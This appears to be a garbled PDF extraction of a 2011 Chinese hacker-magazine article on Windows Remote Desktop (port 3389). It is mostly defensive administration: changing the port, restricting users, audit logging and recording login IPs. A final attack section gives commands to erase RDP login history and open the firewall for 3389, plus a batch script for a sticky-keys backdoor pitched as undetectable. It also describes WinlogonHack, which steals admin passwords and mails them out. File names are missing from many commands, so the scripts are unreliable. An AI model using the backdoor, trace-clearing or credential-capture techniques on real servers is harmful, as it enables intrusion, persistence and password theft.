2023年11月29日发(作者:)

2011年第9

专题二、3389攻击与防范实用技巧

Simeon

(一)远程终端攻击防范实用技巧

1.实用技巧之一修改默认端口

默认状态下远程桌面使用的端口一般为“3389”,如果不及时将这个端口号码更改掉的

话,那么许多别有用心的黑客可能会利用这个端口,来远程控制和入侵本地工作站,以便窃

取保存在本地工作站中的各类隐私信息。目前还有单独针对远程终端攻击的软件,如果您设

置的密码碰巧在他的攻击字典中,那么很不幸的告诉你,你的计算机将被攻陷,有关这方面

的详细技术细节请关注本专题的子专题——《来自俄罗斯黑客的秘密——3389口令暴力破

解》因此在系统管理中修改默认端口就非常有必要了。修改默认端口3389为其他任意未使

用的端口即可。下面介绍两种方法来修改端口:

1)图形界面修改

首先以特权身份(管理员)登录进本地工作站或者服务器系统,用单击系统桌面中的“开

始”-“运行”命令,从弹出的系统运行框中,输入字符串命令“regedit”,单击“确定”

按钮后,打开本地工作站的系统注册表编辑界面;在该编辑界面的左侧显示区域,用鼠标展

HKEY_LOCAL_MACHINE

SYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp子键,在tcp子键所对

应的右侧显示区域中,我们会看到一个名为PortNumber的子键(如图1所示)这个子键其

实就是用来定义远程桌面端口号码的,默认是以十六进制显示为“0X00000D3D。双击该键

值即可将该子键的数值设置成其他端口号码,如图2所示,在数字数据中可以任意输入一个

未使用的端口,一般设置大端口号即可,例如可以将其数值设置成“8888”。

1 通过注册表查看3389的端口信息

2 修改3389的端口

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal

ServerWinStationsRDP-Tcp,在RDP-Tcp子键所对应的右侧显示区域中,我们同样会看到

一个名为PortNumber的子键,把该子键的数值也要一并修改过来,例如这里我们也要将它

的数值修改成“8888”。到此3389的端口修改就完成了,此时使用远程终端的格式变更为

server port:8888IP192.168.1.8使

192.168.1.8:8888也即在远程终端连接的地址中输入192.168.1.8:8888进行连接。

2)使用批处理修改终端端口

使用批处理修改默认端口需要事先计算出远程终端端口号的十六进制值,例如我们修改

成“8888”其对应的端口十六进制值为“0X22B8,使用下面命令即可完成端口的修改,将

3389端口修改为8888端口。

REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal

ServerWdsrdpwdTdstcp" /v PortNumber /t REG_DWORD /d 0X22B8 /f

w

w

w

.

线

h

a

c

k

e

r

.

c

o

m

.

c

n

2011年第9

REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal

ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 0X22B8 /f

2.实用技巧之二查询端口

查询端口的操作方式都差不多,主要通过查询注册表和下面介绍两种查询终端端口

(适用于XP专业版、2000服务器版与2003操作系统)

1)通过查询注册表

REG query HKLMSYSTEMCurrentControlSetControlTerminal"

"ServerWinStationsRDP-Tcp /v PortNumber

查询结果如图1所示,在查询结果中显示的是PortNumber REG_DWORD 0xd3d

端口值为16进制编码,0xd3d表示端口号码为3389,可以将这个值复制到科学计算器中进

行十六进制和十进制之间的换算即可(图30xd3d=13×16×16+3×16+13×1=3389

3 通过查询注册表获取3389端口

4 通过计算器来查看端口的具体值

还可以通过以下命令来显示3389的更多详细信息,显示结果如图5所示

regedit /e "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal

serverWdsrdpwdTdstcp"

type

w

w

w

.

线

h

a

c

k

e

r

.

c

o

m

.

c

5 使用命令来显示3389的更多详细信息

2)通过VBS脚本命令来查询

使用VBS脚本命令来查询,一般也使用批处理来执行方便,在有些情况下,系统禁止

执行vbs脚本(删除Windows Script Host 组件)。其代码如下,执行效果如图6所示。

Echo Dim ReadComputerName >>

Echo Set ReadComputerName=Object("") >>

n

2011年第9

Echo Dim TSName,TSRegPath >>

Echo TSRegPath="HKLMSystemCurrentControlSetControlTerminal

ServerWinStationsRDP-TcpPortNumber" >>

Echo TSName=d(TSRegPath) >>

Echo ("TermService port is:"^&TSName) >>

Cscript

上面所对应的VBS脚本为:

Dim ReadComputerName

Set ReadComputerName=Object("")

Dim TSName,TSRegPath

TSRegPath="HKLMSystemCurrentControlSetControlTerminal

ServerWinStationsRDP-TcpPortNumber"

TSName=d(TSRegPath)

("TermService port is:"&TSName)

将以上代码保存为,然后在命令提示符或者telnet窗口执行“Cscript

即可。

6使用VBS脚本查询3389端口

3.实用技巧之三控制终端用户的操作界面

根据我的经验,在众多的远程控制、远程管理软件中,微软的终端服务是速度最快的,不过

终端服务也有一个很不人性化的地方,就是在默认情况下,我们是看不到终端用户的操作界

面的,这在某些场合很不方便,比如你想在进行远程操作的同时也让对方能够看到你的操作

界面,但终端服务下他是看不到的,其实,可以通过一些手段让对方看到远程操作的。

1A用户先登录远程终端服务器,然后进入进入命令行窗口。

2A用户获取当前运行的会话ID 运行“query session”命令,如图7所示,找出A

会话的会话ID,这里是1,当前会话前有一个“>”标志,Console会话表示控制台。

7 获取当前登录会员ID

3 运行“shadow 会话ID号”,由于上面的A会话ID1,所以要跟B他远程控制

这里命令就是shadow 2如图8所示,A中会给出一段提示,冻结A用户当前的连接。

记住不能自己跟自己shadow

8B用户进行远程控制协商

4)此时B的终端服务界面会出现一个远程控制请求的对话框,如图9所示,如果B

同意了请求,那么就可以远程控制和查看A的会话了,此时A仍能随意进行操作,如图10

所示,A用户在远程终端所有操作,都会在B用户的远程终端上面显示。如果要退出,则

执行“Logoff”命令即可。

9 同意远程控制会话请求

10 A用户与B用户操作同步

4.实用技巧之四:远程关闭终端服务器

w

w

w

.

线

h

a

c

k

e

r

.

c

o

m

.

c

n

2011年第9

如果要远程关掉终端服务器,可能大家通常都是直接使用开始菜单中的关机功能,但这

种方式在关机时不会向终端用户发送消息,所以大家可以使用 tsshutdn”命令,比如我要

15秒内关掉终端服务器,就可以直接使用下面的命令:

Tsshutdn 15 /powerdown

要取消关机可以按CTRL+C组合键。

5实用技巧之五:查看所有终端服务客户端运行的程序

有时服务器管理员可能想了解现在到底有多少用户在登录终端服务器,这些用户到底在

运行些什么程序,这时可以使用Query系列命令, query processquery sessionquery

user等,分别是查看进程、会话和用户的。另外要向客户端发送消息,可以使用msg命令。

6.实用技巧之六:重启计算机

在远程终端上面执行“iisreset /reboot /timeout:00”命令后系统会自动进行重启,这在入

侵过程非常好用,在韩文,阿拉伯等看不懂文字的情况下执行该命令不会误操作将计算机关

机。

7.实用技巧之七:灵活应用快捷键

8.实用技巧之八:限止指定用户可登陆终端

为了保证服务器的安全没必要让服务器所有用户都允许登陆,我们可以指定一个管理员

账号可以登陆。这就是限定某一个用户才能登录远程终端,通俗的讲就是将允许登录的用户

加入到远程桌面登录用户组即可。具体操作方法为:

单击“管理工具”-“终端服务配置”-“连接”,再选择右边的“RDP-TCP”的属性,

找到“权限”选项,删除administrators组,然后再添加我们允许的这个用户,其他一律不

允许登陆,如图11所示。这就是在很多情况下,即使你提权成功并且添加自己为管理员用

户,也不能登录3389,即使密码输入正确。

11 设置远程桌面管理权限

9.

实用技巧之九:我的3389我做主

“终端服务”默认没有日志记录,需要手动设置。远程终端启用日志审核后就能够了解

我的3389,谁什么时候登录,什么时候注销的。具体开启方法如下:

单击“管理工具”-“终端服务配置”-“连接”,再选择右边的“RDP-TCP”的属性,

w

w

w

.

线

h

a

c

k

e

r

.

c

o

m

.

c

熟练运用远程终端的快捷键,不但能够显示出高超的基本功,还能在实际应用过程发挥

作用,比较时间就是金钱,在数秒时间就搞定一起,那是一种境界和修养,下面就是远程终

端的一些快捷键。

CTRL+ALT+END调出“任务管理器”和打开“Windows 锁定”对话框。

CTRL+ALT+BREAK这个就是切换全屏显示,在窗口和全屏显示之间切换客户

端。

ALT+PAGE UP 从左向右在程序之间切换。

ALT+PAGE DOWN 从右向左在程序之间切换。

ALT+INSERT 按启动顺序来回切换程序。

ALT+HOME 显示“开始”菜单。

ALT+DELETE 显示窗口的弹出式菜单。

CTRL+ALT+减号 (-) 将客户端活动窗口的快照放在“终端”服务器的剪贴板上(与在本地

计算机上按下 ALT+PrintScrn 键时的功能相同)

CTRL+ALT+ 加号 (+) 将整个客户端窗口区域的快照放在“终端”服务器的剪贴板上(与

在本地计算机上按下 PrintScrn 键时的功能相同)

n

2011年第9

找到“权限”选项,然后单击其下面的“高级”按钮,进入“RDP-TCP高级安全设置”,在

RDP-TCP高级安全设置”中单击“审核”,然后单击“添加”按钮,在选择用户和组中单

击“高级”-“立即查找”,在搜索结果中找到“everyone”用户将其添加审核项目中,如图

12所示,然后选择需要记录的的事件。一般审核以下几个事件:

登录 成功 失败

连接 成功

注销 成功

断开 成功

12 配置远程终端日志审核

10.实用技巧之十:记录登录3389IP地址和时间

关于这个东东首先是在虚拟机上看到的,在一些大型虚拟机上面当一登录系统,会突然

闪出一个DOS窗口,又突然消失了,后面通过分析,知道这个是管理员在记录谁登录过自

己的操作系统。当时觉得很什么其实简单,具体操作步骤如下:

1)创建记录3389登录时间的批处理文件和日志文件

:用户登录时运行的脚本文件;

:记录3389登录的IP地址和时间的txt文件。

”批处理脚本文件内容如下:

date /t >>

time /t >>

netstat -n -p tcp | find ":3389">>

start Explorer

解释:

第一行和第二行代码用于记录用户登录的时间。

第三行代码记录终端用户的IP地址,netstat”是用来显示当前网络连接状况的命令,

-p tcp”显示TCP协议,管道符号“|”会将“netstat”命令的-n”用于显示IP和端口,

结果输出给“find”命令,再从输出结果中查找包含“3389”的行,最后把这个结果重定向

到日志文件“,最后一行为启动Explorer的命令。

2)配置“终端服务器配置”

首先进入系统管理工具中的“终端服务器配置”,进入到默认RDP-Tcp属性中,然后切

换到“环境”页下,启用“用户登录时启用下列程序”在程序路径和文件名处填写

c:并在起始于填写:c:rdp需要特别注意的是,这两个选项一定要正确,

文件位于Crdp文件夹下,而起始这是指前面的路径,否则将出现3389

登录错误,导致用户无法正常登录3389;一个好的解决方法是登录3389进行配置,但不退

出,然后在本地另起一个3389登录,进行测试。网上还流传有其它类似的脚本,其原理大

同小异,无外乎加载脚本的地方不一样。

13配置“终端服务器配置”

(二)远程终端攻击实用技巧

1.清除3389的登录记录

用一条系统自带的命令:

w

w

w

.

线

h

a

c

k

e

r

.

c

o

m

.

c

n

2011年第9

reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server Client" /f

2.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制

REG ADD

HKLMSYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandard

ProfileGloballyOpenPortsList /v 3389:TCP /t REG_SZ /d

3389:TCP:*:Enabled:@,-22009 /f

2.去掉限制登录

终端超出最大连接数时可用下面的命令来连接

mstsc /v:ip:3389 /console

3.永不查杀的3389后门

永不查杀的3389后门其原理就是利用shift后门,连敲5shift键即可直接进入服务

器。将以下代码复制到服务器上通过DOS命令提示符窗口执行即可。

@echo off

copy c: c:

copy c: c:

attrib c: +h

attrib c: +h

echo. & pause

Exit

onHack

笔者曾经单独写过WinlogonHack的文章,其原理很简单就是记录管理员登录的密码,,

当有3389登上时,自动加载DLL,并且记录登录密码! 保存为文件。最新的一些

版本已经可以将记录的密码发送到指定的邮箱,只要服务器连接网络,那么肉鸡就永远不会

丢失。

w

w

w

.

线

h

a

c

k

e

r

.

c

o

m

.

c

n